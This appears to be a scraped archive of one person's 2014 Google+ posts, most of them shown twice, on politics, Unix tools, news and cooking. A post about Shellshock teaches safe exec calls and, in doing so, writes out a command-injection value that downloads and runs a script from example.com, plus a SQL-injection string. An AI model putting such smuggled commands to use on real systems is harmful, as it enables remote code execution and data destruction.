And not only that, but Della and her husband are having to scrape to afford those five private-school tuitions on one paycheck after she lost her job at the college planetarium for those Constitutionally-protected beliefs. And that's why I'm co-sponsoring a bill to protect those with sincerely held scientific beliefs from discrimination in the workplace and in public accommodation. Mr. Smith, like Obama, supports the same protections for GL.. LTG... BLT... for the gays, so it's just plain hypocrisy for him to oppose this bill, and the people of this district are smart enough to see through that.

They know that something is very wrong in this country, and they know that this disrespect they're being shown for sincerely held scientific beliefs are part and parcel with all the other failed policies in the Smith-Obama administration, the Smith-Obama economy, on the border and ISIS. And Benghazi. And they're smart enough to see how the most radical administration in history has caused us to get onto the wrong track. And Ebola. Because they know America is the greatest nation on earth, on the greatest planet on Earth, which is what many of us sincerely believe the Sun goes around.

And that's what I would have said last night at the debate if the moderator from that liberal newspaper had stopped interrupting me and actually let me answer his question. Thank you for giving me the chance to do so here on your network.___

2014-10-17 18:07:27 (2 comments, 0 reshares, 2 +1s)Open 

Am I totally imagining that there is, or once was, a common version of the grep family that has (or had) a flag to force the pattern to match the entire line, as if you had used both anchors as in /^{pattern}$/?

(I accept the possibility that it's there in one of the man pages but I didn't use the right search terms.)

Update 14:48 EDT: Thanks to +Hugh Messenger for the answer, -x. I must have typod in searching for it, as the very first pattern I thought I searched for was "entire", but in the OS X manpage, the definition for the -x flag is (emphasis mine): "Only input lines selected against an entire fixed string or regular expression are considered to be matching lines."

Am I totally imagining that there is, or once was, a common version of the grep family that has (or had) a flag to force the pattern to match the entire line, as if you had used both anchors as in /^{pattern}$/?

(I accept the possibility that it's there in one of the man pages but I didn't use the right search terms.)

Update 14:48 EDT: Thanks to +Hugh Messenger for the answer, -x. I must have typod in searching for it, as the very first pattern I thought I searched for was "entire", but in the OS X manpage, the definition for the -x flag is (emphasis mine): "Only input lines selected against an entire fixed string or regular expression are considered to be matching lines."___

2014-10-17 17:26:01 (9 comments, 0 reshares, 1 +1s)Open 

I understand they often pre-record on-location packages for news shows, and so the "banter" between a live anchor and a recorded correspondent is simulated; it's silly, but it's mostly harmless, it saves the anchor from having to say "earlier I spoke to...", and usually it's not noticeable, unless the time of day is wrong or something.

But today, I've been leaving the news on waiting for a press conference and I'm getting really irked at the anchors telling recordings of reporters in Bermuda to "stay safe" in the coming hurricane.

I really don't know why, but it's making me want to scream.

I understand they often pre-record on-location packages for news shows, and so the "banter" between a live anchor and a recorded correspondent is simulated; it's silly, but it's mostly harmless, it saves the anchor from having to say "earlier I spoke to...", and usually it's not noticeable, unless the time of day is wrong or something.

But today, I've been leaving the news on waiting for a press conference and I'm getting really irked at the anchors telling recordings of reporters in Bermuda to "stay safe" in the coming hurricane.

I really don't know why, but it's making me want to scream.___

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2014-10-17 15:44:35 (0 comments, 0 reshares, 0 +1s)Open 

Wow, just did a df on my MacBook Pro and saw a filesystem called /Volumes/MobileBackups I hadn't noticed before. Turns out a real consumer Unix OS has channeled the entomb patches that Perdue did to their Unix kernels¹ in the 80's to catch all file deletion calls at the filesystem level in order to make Unix "undelete" possible.

And it's been around for years. I really need to pay more attention to OS X internals; I don't admin OS X for money so I don't have a pecuniary interest in keeping up with internals like I do with, say, Linux, but I do spend a disproportionate amount of time actually working with an OS X box....

(One of the first rules we taught pimply-faced youths² coming into Unix sysadmin for the first time—back in the days before Linux and OS X when it wasn't likely they'd ever had root on a Unix box before—was there is noundel... more »

Wow, just did a df on my MacBook Pro and saw a filesystem called /Volumes/MobileBackups I hadn't noticed before. Turns out a real consumer Unix OS has channeled the entomb patches that Perdue did to their Unix kernels¹ in the 80's to catch all file deletion calls at the filesystem level in order to make Unix "undelete" possible.

And it's been around for years. I really need to pay more attention to OS X internals; I don't admin OS X for money so I don't have a pecuniary interest in keeping up with internals like I do with, say, Linux, but I do spend a disproportionate amount of time actually working with an OS X box....

(One of the first rules we taught pimply-faced youths² coming into Unix sysadmin for the first time—back in the days before Linux and OS X when it wasn't likely they'd ever had root on a Unix box before—was there is no undelete. "Undelete" programs were one of the first forays many budding young sysadmins in the late 80's and early 90's would make into probing their computer's guts, so they were often shocked that an "advanced" OS like Unix couldn't do a "simple" thing like their Windows and Mac boxes at home could.

(The PFY's would often show off by "inventing" their own undelete, by replacing rm with a quarantining, but then you showed them that it didn't help with an errant command redirection, let alone a program directly overwriting a file, and they'd either decide they were still young padawans who had much to learn, or that this Unix thing was stupid because it made them feel stupid. Which reaction they had told you much about their future prospects.)

¹ BSD, I assume? My memory is fuzzy and it doesn't look like anyone's written about it much on the web.

² A term that was firmly entrenched at the time, but which I now realize could be interpreted as a sexist and ageist assumption that all junior hires would be barely post-adolescent boys. Since I learned the expression from one of the smartest sysadmin mentors I ever had, and she was a woman, maybe it isn't sexist (boys don't have a monopoly on pimples,after all; they just have a corner on the market).___

2014-10-16 19:27:02 (8 comments, 0 reshares, 9 +1s)Open 

Unbelievable. More thoughts coming on the Congressional hearing that just wrapped up on Ebola response, but one thing made my jaw drop:

I heard at least three Republican members on the committee pressing Dr. Frieden of the CDC about the mode of transmission to the two nurses in Dallas—a reasonable question, if it stopped there. But they seemed to be at least hinting that they worried that Ebola is now airborne, and the CDC is either covering this "fact" up, or willfully ignoring it.

Be afraid, very afraid. (Not of Ebola; of the oversight committee and some of its members.)

Unbelievable. More thoughts coming on the Congressional hearing that just wrapped up on Ebola response, but one thing made my jaw drop:

I heard at least three Republican members on the committee pressing Dr. Frieden of the CDC about the mode of transmission to the two nurses in Dallas—a reasonable question, if it stopped there. But they seemed to be at least hinting that they worried that Ebola is now airborne, and the CDC is either covering this "fact" up, or willfully ignoring it.

Be afraid, very afraid. (Not of Ebola; of the oversight committee and some of its members.)___

2014-10-14 16:49:32 (8 comments, 0 reshares, 1 +1s)Open 

Am I imagining that there was a site that had audio of Supreme Court arguments synced to the transcript? (I.e., the audio plays while the transcript scrolls along.) Searching about, I see a few such pages for individual cases on journalistic or advocacy sites, but I thought there was one that did this for basically all arguments?

Am I imagining that there was a site that had audio of Supreme Court arguments synced to the transcript? (I.e., the audio plays while the transcript scrolls along.) Searching about, I see a few such pages for individual cases on journalistic or advocacy sites, but I thought there was one that did this for basically all arguments?___

2014-10-09 17:11:47 (6 comments, 0 reshares, 0 +1s)Open 

Anyone know: can I share an MP3 of my own performance on Google+?

I uploaded it to Google Play Music and clicked Share, but it created a post containing a link to someone else's rendition of the same. On a Christmas album, no less. (I'm just glad I didn't play it so poorly that the algorithm couldn't identify it! :-)

It's Bach, so no copyright issues apply.

I could upload it to YouTube—but then I'd really feel an obligation to lay some kind of video over it—or to one of the music-sharing sites—but I'd have to figure out which one to use, how to make an account, how to upload and share, blah blah blah.

Anyone know: can I share an MP3 of my own performance on Google+?

I uploaded it to Google Play Music and clicked Share, but it created a post containing a link to someone else's rendition of the same. On a Christmas album, no less. (I'm just glad I didn't play it so poorly that the algorithm couldn't identify it! :-)

It's Bach, so no copyright issues apply.

I could upload it to YouTube—but then I'd really feel an obligation to lay some kind of video over it—or to one of the music-sharing sites—but I'd have to figure out which one to use, how to make an account, how to upload and share, blah blah blah.___

2014-10-06 17:13:28 (9 comments, 0 reshares, 0 +1s)Open 

What do you do with semi-temporary files?

Opinions wanted: Lately I find myself using Emacs more and more frequently to edit files that I will then publish via cut-and-paste or edit-server into a web interface. (Gmail, blogs, G+, etc.)

I don't want to use a scratch buffer or to store the files in /tmp because the reasons I'm using Emacs are a) the better editing experience and b) crash protection, and scratch buffers or /tmp negate b).

I've been using a ~/tmp for this, but since it isn't janitored like /tmp, they accumulate. It seems like the best option for now, and I could set up my own janitoring via cron or something, but I'm curious what others do?

What do you do with semi-temporary files?

Opinions wanted: Lately I find myself using Emacs more and more frequently to edit files that I will then publish via cut-and-paste or edit-server into a web interface. (Gmail, blogs, G+, etc.)

I don't want to use a scratch buffer or to store the files in /tmp because the reasons I'm using Emacs are a) the better editing experience and b) crash protection, and scratch buffers or /tmp negate b).

I've been using a ~/tmp for this, but since it isn't janitored like /tmp, they accumulate. It seems like the best option for now, and I could set up my own janitoring via cron or something, but I'm curious what others do?___

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2014-10-06 16:48:46 (1 comments, 2 reshares, 0 +1s)Open 

While I'm hesitant to endorse a Daily Mail story and would definitely suggest you read the details with a large grain of salt, Ashoka Mukpo's background is fascinating. This is the sort of personal detail that U.S. news outlets tend to shy away from unless talking about celebrities, political figures or the perpetrators or victims of crimes.

While I'm hesitant to endorse a Daily Mail story and would definitely suggest you read the details with a large grain of salt, Ashoka Mukpo's background is fascinating. This is the sort of personal detail that U.S. news outlets tend to shy away from unless talking about celebrities, political figures or the perpetrators or victims of crimes.___

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2014-10-06 14:55:20 (38 comments, 1 reshares, 12 +1s)Open 

SCOTUS non-decision gives eleven new states marriage equality

The Supreme Court's unexpected decision this morning not to hear—"denying cert" of— any of the five marriage equality cases in three U.S. circuits that have ruled for an equal right to marry means that several states where there had not yet been a ruling now have same-sex marriage rights as well.

This isn't quite automatic—the Orange County, North Carolina clerk, say, would probably be overstepping his bounds to grant marriage licenses based on the idea that, because same-sex marriage is now the law of the circuit, because SCOTUS didn't take the 4th Circuit's case regarding Virginia's marriage ban, therefore same-sex couples in Chapel Hill have a right to marry. That's a few too many inferences for a clerk of court to make, even if each inference is absolutelyneces... more »

SCOTUS non-decision gives eleven new states marriage equality

The Supreme Court's unexpected decision this morning not to hear—"denying cert" of— any of the five marriage equality cases in three U.S. circuits that have ruled for an equal right to marry means that several states where there had not yet been a ruling now have same-sex marriage rights as well.

This isn't quite automatic—the Orange County, North Carolina clerk, say, would probably be overstepping his bounds to grant marriage licenses based on the idea that, because same-sex marriage is now the law of the circuit, because SCOTUS didn't take the 4th Circuit's case regarding Virginia's marriage ban, therefore same-sex couples in Chapel Hill have a right to marry. That's a few too many inferences for a clerk of court to make, even if each inference is absolutely necessary.

But those inferences are absolutely necessary, and it's about as close to automatic as it can be; it's hard to see any justification for any court in any of these three circuits from denying marriage rights.

That means, if I'm counting correctly, that 11 states as of today have a legal right to same-sex marriage (and should have the ability to marry very shortly):
• From the Virginia case in the 4th Circuit: also North Carolina, South Carolina, West Virginia (Maryland already had equal marriage)
• From the Wisconsin and Indiana cases in the 7th Circuit (Illinois already had equal marriage)
• From the Oklahoma and Utah cases in the 10th Circuit: also Kansas, Wyoming, Colorado (New Mexico already had equal marriage)

The states whose cases were not heard by the Supreme Court today had stays that should be dissolving immediately, thus granting marriage rights as soon as the courts can gavel—today or tomorrow most likely. The other 6 states, I believe, all have cases in progress that can now have a simple motion that will grant rights in those states as well (can someone verify that?).

In any case, the nationwide decision will have to wait for another day. Most likely at this moment: the 6th Circuit will become the first to rule in favor of a marriage ban later this year, in which case we'll have a circuit split and SCOTUS will take that case to resolve the split—by far, the most common reason the Court grants certiorari. Or, another circuit may decide between now and October 2015, and SCOTUS will take that case instead.

Again, if my count's right, I think that brings to 30 the total number of states now having same-sex marriage rights.

Update 11:13 EDT: I swapped the number of circuits—three—and the number of cases—five—a couple places above. Corrected. I also see that other sources with actual legal experts are now referring to the number 11 as well, so I'm relieved that my count seems correct. I was doing it by comparing the list of cases to the U.S. Circuits map cross-referenced to the state-by-state map of marriage equality status, so I was afraid I missed something.

#SCOTUS #GayMarriage #MarriageEquality___

2014-10-04 18:09:45 (2 comments, 0 reshares, 0 +1s)Open 

Ahh, Texas justice.... Someone remind me: do they use the stocks, the pillory or the pranger for aggravated lousiness with third-degree mayhem?

Ahh, Texas justice.... Someone remind me: do they use the stocks, the pillory or the pranger for aggravated lousiness with third-degree mayhem?___

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2014-10-03 21:20:16 (7 comments, 5 reshares, 23 +1s)Open 

Why does Google Now have two Spanish voices?
¿Por qué Google Now tiene dos voces españolas?
 
I just stumbled across this weirdness... ask Google Now to translate something to Spanish, and it uses one voice. Use Google Translate, or even hit the speak button on the Google Now card to get it to repeat, and it uses a different voice. What gives? Other languages don't do this.

Here's a video I took (of a Nexus 7) showing the issue.

(I happen to think the Google Now voice is nicer and more emotive.)

#googlenow   #googletranslate  

Why does Google Now have two Spanish voices?
¿Por qué Google Now tiene dos voces españolas?
 
I just stumbled across this weirdness... ask Google Now to translate something to Spanish, and it uses one voice. Use Google Translate, or even hit the speak button on the Google Now card to get it to repeat, and it uses a different voice. What gives? Other languages don't do this.

Here's a video I took (of a Nexus 7) showing the issue.

(I happen to think the Google Now voice is nicer and more emotive.)

#googlenow   #googletranslate  ___

2014-10-03 15:52:13 (5 comments, 1 reshares, 15 +1s)Open 

Oh, dear. MSNBC anchor Alex Witt: "Today marks the [Obamas'] 22nd wedding anniversary. Molotov!" #yiddish   #oopsie  

Oh, dear. MSNBC anchor Alex Witt: "Today marks the [Obamas'] 22nd wedding anniversary. Molotov!" #yiddish   #oopsie  ___

2014-10-01 20:45:14 (4 comments, 0 reshares, 2 +1s)Open 

Do I just not get how the YouTube Android app works with Chromecast, or is it true that if I want to watch five videos in order on the Chromecast, I must first add videos 2 through 5 to the TV Queue in that order, and then play video 1?

It's surprisingly irritating, since it often means I'm looking at some video, thinking "ah, I'd like to watch this, then that, then that, then that", and when I'm done adding "that", "that", and "that" to the TV queue, I have to remember what "this" was and find it again to play it.

Is there a clever workaround?

Do I just not get how the YouTube Android app works with Chromecast, or is it true that if I want to watch five videos in order on the Chromecast, I must first add videos 2 through 5 to the TV Queue in that order, and then play video 1?

It's surprisingly irritating, since it often means I'm looking at some video, thinking "ah, I'd like to watch this, then that, then that, then that", and when I'm done adding "that", "that", and "that" to the TV queue, I have to remember what "this" was and find it again to play it.

Is there a clever workaround?___

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2014-10-01 15:21:40 (0 comments, 3 reshares, 12 +1s)Open 

In-freakin-credible. Levar Jones was handcuffed as he lay on the ground bleeding, pleading and apologizing. Not that surprising, I guess, assuming the trooper, Sean Groubert, was still treating him as a suspect. But the last moments of this interview with Chris Hayes are completely mind-blowing. They left him handcuffed, to the gurney in the hospital, until midnight, well after they were fully aware of the reality of Officer Groubert's error.

And apparently, they would have left him handcuffed all night, except... bah, I'll just let you watch—if you really want your blood to boil.

Update 11:28 EDT: I just want to note for the record that the South Carolina Highway Patrol—in contrast to the Ferguson and St. Louis County police departments' handling of events there in August—seems to have dealt with this promptly and decisively; Officer Groubert is now formerOffic... more »

In-freakin-credible. Levar Jones was handcuffed as he lay on the ground bleeding, pleading and apologizing. Not that surprising, I guess, assuming the trooper, Sean Groubert, was still treating him as a suspect. But the last moments of this interview with Chris Hayes are completely mind-blowing. They left him handcuffed, to the gurney in the hospital, until midnight, well after they were fully aware of the reality of Officer Groubert's error.

And apparently, they would have left him handcuffed all night, except... bah, I'll just let you watch—if you really want your blood to boil.

Update 11:28 EDT: I just want to note for the record that the South Carolina Highway Patrol—in contrast to the Ferguson and St. Louis County police departments' handling of events there in August—seems to have dealt with this promptly and decisively; Officer Groubert is now former Officer Groubert, and has been charged with highly aggravated assault and battery, the most serious non-lethal assault charge on state books, carrying a punishment of up to 20 years in jail.___

2014-10-01 14:11:13 (10 comments, 0 reshares, 4 +1s)Open 

Did they test the Dallas ambulance crew just for the PR of saying they got negative results, or do they have a new test that can confirm Ebola before it's symptomatic?

Update: They have also quarantined the crew for the standard 21 days, so I assume it's either a) PR, b) for research purposes (no one's sure exactly when the test has useful sensitivity), or c) just something to do, since there isn't a lot that can be done.

Did they test the Dallas ambulance crew just for the PR of saying they got negative results, or do they have a new test that can confirm Ebola before it's symptomatic?

Update: They have also quarantined the crew for the standard 21 days, so I assume it's either a) PR, b) for research purposes (no one's sure exactly when the test has useful sensitivity), or c) just something to do, since there isn't a lot that can be done.___

2014-09-30 17:04:43 (60 comments, 1 reshares, 11 +1s)Open 

Secret Service hearing shockers: Self-important House members grandstanding, throwing brickbats; GOP doesn't understand the difference between mental illness and criminality

At first blush, it's really dumb that the House Oversight Committee is having its public hearing today with Secret Service Director Julia Pierson before it reconvenes for the classified briefing.

But it seems pretty clear, even after just the first 90 minutes, that it's not dumb; it's an opportunity for grandstanding. Rep. Jason Chaffetz (R-UT) started by mocking the Secret Service's early press release praising the "tremendous restraint" of the officers for not shooting dead an unarmed, mentally unstable veteran armed only with a knife. "Tremendous restraint is not what we're looking for," he said¹, "we want overwhelming force."

When it was... more »

Secret Service hearing shockers: Self-important House members grandstanding, throwing brickbats; GOP doesn't understand the difference between mental illness and criminality

At first blush, it's really dumb that the House Oversight Committee is having its public hearing today with Secret Service Director Julia Pierson before it reconvenes for the classified briefing.

But it seems pretty clear, even after just the first 90 minutes, that it's not dumb; it's an opportunity for grandstanding. Rep. Jason Chaffetz (R-UT) started by mocking the Secret Service's early press release praising the "tremendous restraint" of the officers for not shooting dead an unarmed, mentally unstable veteran armed only with a knife. "Tremendous restraint is not what we're looking for," he said¹, "we want overwhelming force."

When it was his turn to question Director Pierson, he pushed on this. He asked if Secret Service officers and agents have authority to use lethal force when someone has intruded onto White House grounds. She responded that, as armed law enforcement officers, of course they have authority to use lethal force if they think it's necessary and lawful. Rep. Chaffetz bristled at this, asking what that means (the old hearing tactic of the politician demanding a yes-or-no answer to a question that cannot be answered that simply). She replied that officers and agents have to use the "totality" of their situational awareness to make that decision; when someone looks unarmed, they may attempt to use non-lethal means if protectees (the President, Vice President, First and Second Families, etc.) aren't directly in danger. (Omar Gonzales jumped the White House fence on 19 Sep. when the President and the Obama family were away.)

Rep. Chaffetz jumped on this. "Look unarmed?... What if... [an intruder] had a dirty bomb?"

This is pure grandstanding, taking advantage of the unclassified nature of the public hearing, and Rep. Chaffetz knows it. There are lots and lots of stories of innocent people (including reporters) who have recently had nuclear medicine treatments or diagnostics being rapidly intercepted by Secret Service around the perimeter. (This is well-known enough now that DC-area oncologists, I understand, warn patients about going near sensitive government spots soon after nuclear medicine procedures, and give them paperwork to carry at all times so officers can verify their stories if needed.)

Details of what radiological alarms the White House is equipped with is of course highly classified, so Rep. Chaffetz can get away with his unfair brickbat, knowing that Dir. Pierson couldn't reply—not in an unclassified setting—with what is almost certainly the truth: that officers and agents deciding whether to shoot Mr. Gonzalez knew he didn't have a dirty bomb.

I can't quite figure out the partisan angle here for the Republicans on the committee, who are so far being more inflammatory. There's the standard anti-big-government, anti-bureaucracy rhetoric, of course. Throwing potshots at an executive branch agency that is quite literally close to the White House may seem to have a potential for splashback onto President Obama.

It may be a move at preemptive defense, as Democrats will no doubt argue that the across-the-board slashed funding from sequestration has led to the low morale and understaffing at the Secret Service.²

So far the Democratic committee members are also holding Dir. Pierson's feet to the fire—though not with the near-mocking tone the GOP members are using. (That tone has seemingly become compulsory over the past 15 to 20 years for Republican lawmakers addressing "government bureaucrats". Typically they've shown deference to law enforcement and military officers, but apparently that rule no longer applies to the head of the Secret Service. Maybe since 2003, when the Secret Service was moved from the Treasury Department to Homeland Security and the director became a political appointee rather than a career civil servant?)

Some Democrats (notably Del. Eleanor Holmes Norton, D-DC) have also been pointing out how bad the blowback likely would have been if the Secret Service had simply shot Mr. Gonzales dead on the lawn, as Rep. Chaffetz insists was the right decision. We already had the issues of "suicide by cop" and overuse of force prominent in the news from Missouri.

Democrats seem at least aware that it would not be a good thing if the only lesson learned from this incident is that, if you make any attempt whatsoever to intrude on the White House grounds, your life is forfeit. Every single one of the fence-jumpers we're aware of since President Obama took office—over a dozen—have had serious mental illness.

Our country already deals with the seriously mentally ill more through the criminal justice system than through mental health services. Ratcheting up the level of force we apply, killing those who aren't getting treatment, isn't a resolution we should be terribly eager for.


¹ I'm paraphrasing because I'm still watching live; I'll come back and check that my paraphrase is fair.

² During the government shutdown, you might remember that both the Secret Service and the Capitol Police responded to an incident where an apparently deranged woman plowed into the White House, ran over a Secret Service officer, and then took off for the Capitol. As I wrote here (repeatedly) at the time, they weren't being paid, and they'd taken pay cuts.___

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2014-09-28 20:03:37 (2 comments, 0 reshares, 0 +1s)Open 

The instructions on using Migration Assistant specifically say "run Software Update on the source machine before using", but apparently that's not such a good idea when the update's newer than the new Mac! :-(

The instructions on using Migration Assistant specifically say "run Software Update on the source machine before using", but apparently that's not such a good idea when the update's newer than the new Mac! :-(___

2014-09-28 15:27:42 (54 comments, 5 reshares, 33 +1s)Open 

The thing that shocks me about Shellshock isn't that the bug was in bash, or even that it was in bash for 22+ years before being discovered (how old will I be when I last deal with a bug from before my career even started?); it's that so much software that's been used to exploit Shellshock passed environment variables willy-nilly on to a shell in the first place.

I've got nearly every snippet of random code I've written for myself in that entire period, and doing some spot checks, I see that until 1997, I never bothered with any serious checks of external input at all except for assertion-maintaining checks¹ and Perl tainting (which is actually pretty darn good, for pre-1997 state-of-the-art). But that was as much because I was writing things purely for myself and rarely wrote anything that talked to the network as because I wasn't very sophisticated in security practice... more »

The thing that shocks me about Shellshock isn't that the bug was in bash, or even that it was in bash for 22+ years before being discovered (how old will I be when I last deal with a bug from before my career even started?); it's that so much software that's been used to exploit Shellshock passed environment variables willy-nilly on to a shell in the first place.

I've got nearly every snippet of random code I've written for myself in that entire period, and doing some spot checks, I see that until 1997, I never bothered with any serious checks of external input at all except for assertion-maintaining checks¹ and Perl tainting (which is actually pretty darn good, for pre-1997 state-of-the-art). But that was as much because I was writing things purely for myself and rarely wrote anything that talked to the network as because I wasn't very sophisticated in security practice (I wasn't, but who was?).

Then, suddenly starting in 1997, I never again wrote code that called external code with user input without taking the most paranoid sanity-checking measures. I blanked my environment and rebuilt it safely before making an external call. I always used the multi-argument form of exec calls². I sanitized every input, sometimes twice if the UI and the backend were separable. Once I got in the habit, I just never stopped.

And it became weird not to do it, to the point that when I saw a single-argument exec it just seemed wrong. (In fact, at Google, my code reviewers sometimes admonished me to remove my checks. When you're writing purely internal tools code, such checks are kind of silly when all the possible users of the code already have the access to do whatever they like. It's a bit like the tools you'll sometimes find that require a password, even if you're already running as the superuser. An inconvenient speedbump that doesn't actually increase security in any significant way.)

That all these tools were calling bash with a ream of unsanitized environment variables just pushed through raw seems totally strange to me. The idea of bash needing better security just makes me giggle a bit. Bash is a thing that can run arbitrary commands on your system. That's its purpose. Saying bash needs better security features on the input end seems like saying that a chef's knife needs better child-safety features. You're supposed to keep the thing away from the those who would pose a danger if they posessed it, not make it safer for when they do.

Some have called the efforts to patch Bash "whack-a-mole". I think that's likely, because Bash was never designed to be secure in the first place. Another bad simile: it's like saying the car engine has a fault because, when hotwired, it will run even without a key. Yep, some car engines actually do have an ignition interlock that requires a key, but that's kind of the point: it's for the specific and rare case where the operator of the car is untrusted. Securing bash would only be ultimately useful for the purpose of giving a command-line to users you don't trust. There are tailor-made restricted shells for this purpose; I'd daresay they're better candidates for this kind of thing, too.


¹ There's a better name for that, but it escapes me at the moment. Basically, checks of user input that aren't strictly security-related but rather ensure data integrity by accepting only pre-normalized data before passing it through raw. Like, if I expect a date of the form "1996-04-01", my rejecting anything that doesn't look like that happens to reject "1996-04-01'); DROP TABLE USERS;", but that's merely a side effect of trying to reject things like "04/01/1996", which are malformed but not actually security threats.

There's an old adage, Postel's Law, about designing robust distributed systems: "be liberal in what you accept and conservative in what you send". It means that in the example above, I really should have accepted "04/01/1996" and dealt with it, but only pass on "1996-04-01" even if I got the other form. But when you're writing tools for yourself, it's often easiest to be equally conservative in what you accept, since the only one who has to deal with the "stupid code" is the stupid idiot who wrote the stupid code, namely, that stupid idiot you see in the mirror.

² What that means in a nutshell is understandable even if you don't code, provided you have used a command line shell. In newer languages (Scala, Haskell, etc.) and in very high level non-shell languages (Perl, Python, Ruby, and so on), you can make calls to external programs (what we call "the exec family" because a lot of them are called exec or something that starts with exec, though the most common in the VHLL's is called system) one of two ways: either with a single string that exactly matches what you'd type to a command line, like
  system("rm -rf /tmp/tmpdir")
or you can call it with the arguments split up, like:
  system("/bin/rm", "-rf", "/tmp/tmpdir")

The two are (more or less) exactly equivalent above. The latter is more secure, however, when you introduce some external input. Say you save your temp directory with a projectname. That would be something like:
  system("rm -rf /tmp/tmpdir_" + projectname)
to give you "rm -rf /tmp/tmpdir_myproject" when projectname was "myproject".

But what if what you got was "myproject; curl -O http://example.com/badscript.sh; bash badscript.sh"? In the above, you run the equivalent of "rm -rf /tmp/tmpdir_myproject; curl -O http://example.com/badscript.sh; bash badscript.sh", downloading and running some (presumably scary) script.

OTOH, if you use the multi-argument form, you'd do:
  system("/bin/rm", "-rf", "/tmp/tmpdir_" + projectname)
Which would insist that the rm command deal with everything it gets in projectname, once appended to "/tmp/tmpdir_", as a directory. It would fail because presumably there's no directory called "/tmp/tmpdir_myproject; curl -O http://example.com/badscript.sh; bash badscript.sh".___

2014-09-27 18:41:33 (11 comments, 1 reshares, 11 +1s)Open 

Why, oh why, have I ever done anything with a cable I've found was faulty but either a) immediately thrown it away or b) immediately labeled it as faulty? (At home, I mean; at work I've always been more diligent about this sort of thing.)

Having no Ethernet or USB cable tester, I go looking for a cable for some random purpose, find one in a drawer, and use it, only to figure out, after wasting far too much time, that, oh yeah, it was that strand of Cat-5 that I had to replace when the TiVo quit syncing (why on Earth did I even keep it?) or that micro-USB cable that always made Android flashing fail (that one, at least I can sort of justify, as it still worked as a power cord).

As I get older I realize how deadly putting something down is. I'm replacing this Ethernet cable and trying to get behind the TV, so I just put the faulty cable down "for a second", then go... more »

Why, oh why, have I ever done anything with a cable I've found was faulty but either a) immediately thrown it away or b) immediately labeled it as faulty? (At home, I mean; at work I've always been more diligent about this sort of thing.)

Having no Ethernet or USB cable tester, I go looking for a cable for some random purpose, find one in a drawer, and use it, only to figure out, after wasting far too much time, that, oh yeah, it was that strand of Cat-5 that I had to replace when the TiVo quit syncing (why on Earth did I even keep it?) or that micro-USB cable that always made Android flashing fail (that one, at least I can sort of justify, as it still worked as a power cord).

As I get older I realize how deadly putting something down is. I'm replacing this Ethernet cable and trying to get behind the TV, so I just put the faulty cable down "for a second", then go back to fixing whatever the original problem was, then forget until days later I'm tidying the apartment, I see a cable just sitting there, and I stuff it in the spare-cable drawer, where it becomes a lurking menace months or years later.

I know that I—like a lot of geeks—have a hoarding tendency when it comes to accessory or ancillary parts of electronics "I might need one day". For weird proprietary cables, power supplies and attachments, holding onto them makes a certain amount of sense, and I got in the habit of labeling them years ago, so at least the next time I go digging through the drawer, when I see "PalmPilot car charger", I know I can safely chuck it.

But with "standard" cables, I assume I'll recognize them well enough to obviate labeling. True enough, but it suppresses that "label before storing" neuron from firing that might make me remember that a particular "standard" cable is different in an important way. You know, the "not working" way. Sigh.___

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2014-09-27 17:40:18 (0 comments, 0 reshares, 6 +1s)Open 

This one weird trick that eliminates 30 pounds of weight

I've been doing some cooking sous vide recently, and a real hassle is after the cooking is done: getting 30 pounds of hot water out of the tank. I put the tank near the sink for ease in filling, but still, tipping it into the sink is difficult and likely to splash back. Besides, I'd really like to drain the tank, so I don't have to lift the hot, waterlogged immersion circulator out of the water.

A couple of weeks ago, I happened to notice one of these sitting in my junk drawer: a hose that connects to a CamelBak bottle. I thought it would be useful for biking, but I found it more trouble than it was worth—now, I just attach the bottle to a carabiner on my shoulder strap at the correct height for sipping. It works just as well—and doesn't have any fuss or mess when I'm done biking.

So thishos... more »

This one weird trick that eliminates 30 pounds of weight

I've been doing some cooking sous vide recently, and a real hassle is after the cooking is done: getting 30 pounds of hot water out of the tank. I put the tank near the sink for ease in filling, but still, tipping it into the sink is difficult and likely to splash back. Besides, I'd really like to drain the tank, so I don't have to lift the hot, waterlogged immersion circulator out of the water.

A couple of weeks ago, I happened to notice one of these sitting in my junk drawer: a hose that connects to a CamelBak bottle. I thought it would be useful for biking, but I found it more trouble than it was worth—now, I just attach the bottle to a carabiner on my shoulder strap at the correct height for sipping. It works just as well—and doesn't have any fuss or mess when I'm done biking.

So this hose was sitting there unused, and I realized: siphon! Of course I could use any other long tubing I happened to have around (i.e., none), but this is particularly good for the task, for a few reasons. One: it has a one-way valve at the end meant to be attached to the bottle. A one-way valve is good for a siphon, because you don't have to maintain suction. The shape of the one-way valve, with flanges meant for clamping onto the bottle, is good, too, because it keeps the tube from sucking onto the wall of the tank and stopping the flow.

It also has a manual valve at the other end (that's the yellow part), which is good because you don't have to be speedy about getting the outlet end below the level of the drain end—you can just turn the valve when the tube is sufficiently filled, then lower it to the sink and turn the valve again to begin draining.

As shipped, this actually has three valves: there's a bite valve just beyond the manual valve meant for hands-free sipping (one of the features that made CamelBak famous). But you don't want that one for this purpose; just pull it off (it's meant to be removed for cleaning, so that's easy).

Then drop the one-way flanged end into the tank, open the yellow valve, suck enough water to just about reach the valve—another nice thing about this, it's translucent, so you can see the water's transit through the tube and you don't end up with hot, invariably slightly smelly¹ water in your mouth—close the valve, put that end down into the sink, and open the valve. Presto, drainage!

I've seen recommendations to bail out water baths until they're light enough to empty easily, but this is so much easier. The flanged end is not buoyant, so it drains almost everything out the tank—my tank has a raised floor with a channel around the perimeter for stacking, so by putting the drain into that channel I really get almost all the water out; last time I checked, out of 4 gallons it left only a quarter-cup in the bottom! It takes ten minutes or so, but it's totally unattended.

Bernoulli FTW!


¹ Maybe it speaks to the quality of my vacuum bags or the seal, but after a few hours my bath water always ends up smelling slightly piggy/beefy/whatever. My bags have one-way gas valves, so it's probably just expanding air escaping, carrying some aroma with it.___

2014-09-26 20:06:49 (2 comments, 0 reshares, 3 +1s)Open 

In a comment to my post yesterday (http://goo.gl/AEhNyr) about the great new videos on essential cooking techniques from The New York Times, +Christina Talbott-Clark mentioned a YouTube video where someone is flummoxed by instructions to "cream" butter and sugar¹.

"Creaming" is an interesting example of the sort of basic technique I was talking about yesterday; checking, I see that there aren't any Times videos on creaming—but not any other pastry or baking techniques either, except for pie crust basics, so maybe baking essentials will follow in later videos. (Though I do see there is a mango video, so I didn't need to explain that technique in my post. Oh well.)

I'm looking at my cookbook-shelf (cook-bookshelf? cookbookshelf?) right now, and at a glance I see several books that explain "creaming": Mark Bittman's How to Cook Everything,Jul... more »

